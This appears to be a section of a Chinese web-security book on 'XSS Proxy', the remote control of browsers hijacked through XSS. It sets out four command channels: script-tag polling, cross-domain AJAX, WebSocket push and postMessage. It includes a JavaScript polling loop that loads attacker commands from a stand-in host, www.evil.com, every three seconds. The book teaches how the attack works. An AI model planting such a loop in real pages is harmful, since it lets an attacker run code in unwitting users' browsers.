7.7 XSS Proxy 技术
XSS Proxy技术用到了基于浏览器的远程控制上,这是一种非常好的思想,现在很多XSS利用框架,如XSS Shell、BeEF、Anehta等远程控制都是基于XSS Proxy的。
要实现远程控制,必须具备以下两个条件:
· 远控指令要在目标浏览器上“实时”执行。
· 执行结果要能够让控制端看到。
一般情况下,这个远控指令都是JavaScript代码,第2个实现起来很容易,就是请求控制端对应的数据接收接口而已;对于第1个条件,要么浏览器每隔几秒主动请求服务端指令接口,要么服务端主动推送指令给浏览器,这个过程如果延后几秒是没问题的,可以认为是实时的。
下面将介绍XSS Proxy技术的4种思路,它们各有千秋。
7.7.1 浏览器<script>请求
<script>标签请求内容可跨域,这是合法的功能,请求到的数据必须是合法的JavaScript语法格式。这种技术在之前有提过,包括请求回来的是JSON+CallBack函数这样的数据内容(这种跨域数据通信被称为JSONP),格式如下:
hijack([{ "id": 585904, "text": "...", "sender_id": "Salina_Wu", "recipient_id": "ycosxhack", "created_at": "Sat May 31 05:00:01 +0000 2008", "sender_screen_name": "LOLO", "recipient_screen_name": "余弦" }, //... 省略 ])
然后结合JavaScript的setInterval函数,间隔几秒向远控服务端指令接口请求数据,而服务端可以根据控制者的需求生成指令到中间存储文件中(比如数据库、内存、文件系统等),由这个指令接口来统一调度这些生成的指令。
被控浏览器端的setInterval模型如下:
function inj_script(src,onload){ o = document.createElement("script"); o.src = src; if(onload){ if (!window.ActiveXObject) { o.onload = onload; } else{ o.onreadystatechange = function () { if (o.readyState == 'loaded' || o.readyState == 'complete') { onload(); } } } } document.getElementsByTagName("body")[0].appendChild(o); return o; } function remove_obj(o){ document.body.removeChild(o); } setInterval(function () { // 每隔3秒执行一次 // 注入脚本文件 var rtcmd = inj_script('http://www.evil.com/rtcmd?date=' + new Date ().getTime()); setTimeout(function () { remove_obj(rtcmd); // 删除脚本文件对象 }, 500); }, 3000);
注入的脚本文件是一个服务端动态文件,也就是服务端指令接口,每次都会返回控制者生成的指令内容,如果没有指令,则返回空内容。
通过这个XSS Proxy模型是可以受到很多好的启示的,不过这个模型有一个缺陷,就是大多数时间,被控浏览器发起的服务端指令接口请求都是无用功,因为很可能并没有指令内容,控制者不会每隔3秒发出一个指令。
7.7.2 浏览器跨域AJAX请求
跨域AJAX请求在第2章中已详细介绍过,它也需要浏览器setInterval去主动发起服务端指令接口请求。唯一的好处是,这种请求是异步发起的,会显得更加安静,在此不过多地介绍了。
7.7.3 服务端WebSocket推送指令
严格地说,WebSocket技术不属于HTML5,这个技术是对HTTP无状态连接的一种革新,本质就是一种持久性socket连接,在浏览器客户端通过JavaScript进行初始化连接后,就可以监听相关的事件和调用socket方法来对服务端的消息进行读写操作。
WebSocket的官方地址是:www.web-socket.org,其中给出了一些样例,可以直接在线测试,当前Firefox与Chrome都支持WebSocket,且支持WebSocket的安全链接。
在WebSocket的官网主页面中,单击左边De-mos下的Echo Test链接,测试时,先单击“Con-nect”按钮或选择“Use secure WebSocket”复选框后单击“Connect”按钮,建立持久连接,接着在Message框里输入内容,单击“Send”按钮,就可以在Log框中看到相关记录,测试截图如图7-13所示。
图7-B WebSocket Demo测试
大家在测试时,可以看看请求头与响应头的内容,观察有什么不一样的地方。
这个样例的核心JavaScript代码与注释如下:
var wsUri = "ws://echo.websocket.org/"; // ws://协议表示这是WebSocket服务端地址 var output; function init() { output = document.getElementById("output"); testWebSocket(); } function testWebSocket() { websocket = new WebSocket(wsUri); // 新建一个连接 websocket.onopen = function (evt) { // 当连接创建时,触发 onOpen(evt) }; websocket.onclose = function (evt) { // 当连接关闭时,触发 onClose(evt) }; websocket.onmessage = function (evt) { // 当接收到服务端发送过来的消息时,触发 onMessage(evt) }; websocket.onerror = function (evt) { // 当错误时,触发 onError(evt) }; } function onOpen(evt) { writeToScreen("CONNECTED"); doSend("WebSocket rocks"); } function onClose(evt) { writeToScreen("DISCONNECTED"); } function onMessage(evt) { writeToScreen('<span>RESPONSE: ' + evt.data + '</span>'); websocket.close(); } function onError(evt) { writeToScreen('<span>ERROR:</span> ' + evt.data); } function doSend(message) { writeToScreen("SENT: " + message); websocket.send(message); // 发送消息到服务端 } function writeToScreen(message) { var pre = document.createElement("p"); pre.style.wordWrap = "break-word"; pre.innerHTML = message; output.appendChild(pre); } window.addEventListener("load", init, false);
这种连接是可跨域的,这个特性导致我们至少可以用来做远控,客户端通过监听onmessage事件,就能及时响应来自服务端发送过来的指令。
7.7.4 postMessage方式推送指令
HTML5的postMessage机制非常优美,是客户端最直接的跨文档传输方法,一般用在iframe中父页与子页之间的客户端跨域通信。
例如,http://www.evil.com/postmsg/evil.htm的代码如下:
<html> <head> <title>evil</title> </head> <body> <pre> (1)利用window.postMessage()跨域传递消息 (2)本域是www.evil.com,向www.foo.com/postmsg/foo.htm 传递数据 <button id="btnPassData">跨域传递消息</button> </pre> 利用iframe加载另一个域www.foo.com/postmsg/foo.htm: <div> <iframe src="http://www.foo.com/postmsg/foo.htm" id="b_iframe" width="800" height="200"> </iframe> </div> </body> </html> <script> window.onload = function() { document.getElementById("btnPassData").onclick = function() { var iframedom = document.getElementById("b_iframe").contentWindow; if (typeof window.postMessage !== "undefined") { // 利用子页的DOM窗口对象,跨域发送消息 iframedom.postMessage("msg from "+document.domain, "http://www.foo.com/postmsg/foo.htm"); } } // 绑定onmessage事件监听 if (window.attachEvent) { window.attachEvent("onmessage", receiveMsg); } else { window.addEventListener("message", receiveMsg, true); } }; var receiveMsg = function(e) { alert('i am '+document.domain+'\nget msg from: - '+e.data); // 获取传递过来的数据 } </script>
http://www.foo.com/postmsg/foo.htm的代码如下:
<html> <head> <title>foo</title> </head> <body> 接受来自www.evil.com域下传递过来的值: <div id="r"> </div> <script> // 绑定onmessage事件监听 window.onload = function() { if (window.attachEvent) { window.attachEvent("onmessage", acceptMsg); } else { window.addEventListener("message", acceptMsg, true); } } var acceptMsg = function(e) { // 该函数用来表示在window.onmessage事件触发时进行接收数据的处理 if(e.origin.indexOf("http://www.evil.com")!=-1){ // 作用是排除其他非法域名,即只接收http://www.evil.com传递过来的数据 document.getElementById('r').innerHTML = e.data; } window.top.postMessage("msg from "+document.domain, "http://www.evil.com/postmsg/evil.htm"); // pong }; </script> </body> </html>
从代码中可以清晰地知道postMessage机制,这种跨域需要双方默契配合,且可以在客户端通过origin进行判断请求的来源是否合法,效果如图7-14所示。
图7-14 postMessage效果
这个技巧如果用于XSS Proxy上可能有些绕,攻击者的页面需要动态生成,然后在客户端层面进行跨域传输指令。这是一种思路,不过不好。
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论